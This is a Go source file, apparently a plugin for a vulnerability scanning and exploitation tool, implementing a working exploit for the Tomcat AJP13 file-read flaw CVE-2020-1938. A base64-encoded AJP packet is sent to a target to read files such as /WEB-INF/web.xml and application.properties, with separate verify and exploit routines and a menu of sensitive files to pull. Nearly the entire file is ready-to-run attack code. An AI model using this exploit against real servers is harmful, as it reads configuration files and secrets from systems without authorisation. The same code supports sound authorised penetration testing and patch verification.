package exploits

import (
	"bytes"
	"encoding/base64"
	"encoding/binary"
	"net"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"strconv"
	"time"
)

// init 注册插件插件
func init() {

	tmp := "EjQCFgICAAhIVFRQLzEuMQAADy9ST09UL2pEcEp3LmpzcAAADXt7dGFyZ2V0fX0A//8ADXt7dGFyZ2V0fX0AAFAAAAmgAQBKdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCwqLyo7cT0wLjgAoAYACmtlZXAtYWxpdmUAoAgAATAAoAsADXt7dGFyZ2V0fX0AoA4ARE1vemlsbGEvNS4wIChYMTE7IExpbnV4IHg4Nl82NDsgcnY6NDYuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC80Ni4wAAAPQWNjZXB0LUVuY29kaW5nAAATZ3ppcCwgZGVmbGF0ZSwgc2RjaAAAD0FjY2VwdC1MYW5ndWFnZQAADmVuLVVTLGVuO3E9MC41AAAZVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0cwAAATEAAA1DYWNoZS1Db250cm9sAAAJbWF4LWFnZT0wAAoAIWphdmF4LnNlcnZsZXQuaW5jbHVkZS5yZXF1ZXN0X3VyaQAAAS8ACgAfamF2YXguc2VydmxldC5pbmNsdWRlLnBhdGhfaW5mbwAAEHt7cGF5bG9hZH19AAoAImphdmF4LnNlcnZsZXQuaW5jbHVkZS5zZXJ2bGV0X3BhdGgAAAEvAP8="

	models.Register(models.AppVulInfo{
		App:   "ajp13",
		Query: "protocol:\"ajp13\"",
		Meta: models.VulMeta{
			Name:        "Tomcat Ajp13协议任意文件读取漏洞 CVE-2020-1938",
			Tags:        []string{"file_read"},
			Author:      "一曲成殇",
			Description: "AJP（Apache JServ Protocol）是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。WEB服务器通过TCP连接和 SERVLET容器连接。",
			Homepage:    "https://tomcat.apache.org/",
			Level:       4,
			References:  "https://blog.csdn.net/heartsk/article/details/105452908",
			Solution:    "官网更新补丁：https://tomcat.apache.org/",
			CreateAt:    "2021-12-07",
			Available:   true,
			Steps: models.StepsMeta{VerifySteps: models.VerifySteps{VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {
				conn, err := netUtils.SendDialTimeout("tcp", net.JoinHostPort(ip, strconv.Itoa(port)), duration)
				if err != nil {
					return
				}
				defer conn.Close()
				tmpPayload, _ := base64.StdEncoding.DecodeString(tmp)
				tmpPayload = bytes.ReplaceAll(tmpPayload, []byte("{{target}}"), []byte(ip))
				tmpPayload = bytes.ReplaceAll(tmpPayload, []byte("{{payload}}"), []byte("/WEB-INF/web.xml"))

				_, err = conn.Write(tmpPayload)
				if err != nil {
					return
				}
				for {
					if err = conn.SetReadDeadline(time.Now().Add(duration)); err != nil {
						return
					}
					header := make([]byte, 4)
					if _, err = conn.Read(header); err != nil {
						return
					}
					content := make([]byte, binary.BigEndian.Uint16(header[2:4]))
					if _, err = conn.Read(content); err != nil {
						return
					}
					if content[0] == 3 || bytes.Contains(content, []byte("Requested read of bytes at position")) && bytes.Contains(content, []byte("which is beyond the end of the AJP message")) {
						result.Request = string(tmpPayload)
						result.State = true
						result.Response = string(content)
						return
					}
				}
			}}, ExploitSteps: models.ExploitSteps{
				Params: models.ExploitParams{
					Name: "File", Type: "select", Value: "web.xml:/WEB-INF/web.xml,application.yml:/WEB-INF/classes/application.yml,application.properties:/WEB-INF/classes/application.properties",
				},
				ExploitGo: func(scheme, ip string, port int, payload string, duration time.Duration) (result models.VulResult) {
					conn, err := netUtils.SendDialTimeout("tcp", net.JoinHostPort(ip, strconv.Itoa(port)), duration)
					if err != nil {
						result.Response = err.Error()
						result.State = false
						return
					}

					defer conn.Close()

					tmpPayload, _ := base64.StdEncoding.DecodeString(tmp)
					tmpPayload = bytes.ReplaceAll(tmpPayload, []byte("{{target}}"), []byte(ip))
					tmpPayload = bytes.ReplaceAll(tmpPayload, []byte("{{payload}}"), []byte(payload))

					_, err = conn.Write(tmpPayload)
					if err != nil {
						result.Response = err.Error()
						result.State = false
						return
					}
					for {
						if err = conn.SetReadDeadline(time.Now().Add(duration)); err != nil {
							result.Response = err.Error()
							result.State = false
							return
						}
						header := make([]byte, 4)
						if _, err = conn.Read(header); err != nil {
							result.Response = err.Error()
							result.State = false
							return
						}
						content := make([]byte, binary.BigEndian.Uint16(header[2:4]))
						if _, err = conn.Read(content); err != nil {
							result.Response = err.Error()
							result.State = false
							return
						}
						if content[0] == 3 {
							if bytes.Contains(content, []byte("Requested read of bytes at position")) && bytes.Contains(content, []byte("which is beyond the end of the AJP message")) {
								result.Response = "File read failed"
								result.State = false
							} else {
								result.Request = string(tmpPayload)
								result.State = true
								result.Response = string(content)
							}
							return
						}
					}
				},
			}},
		},
	})
}
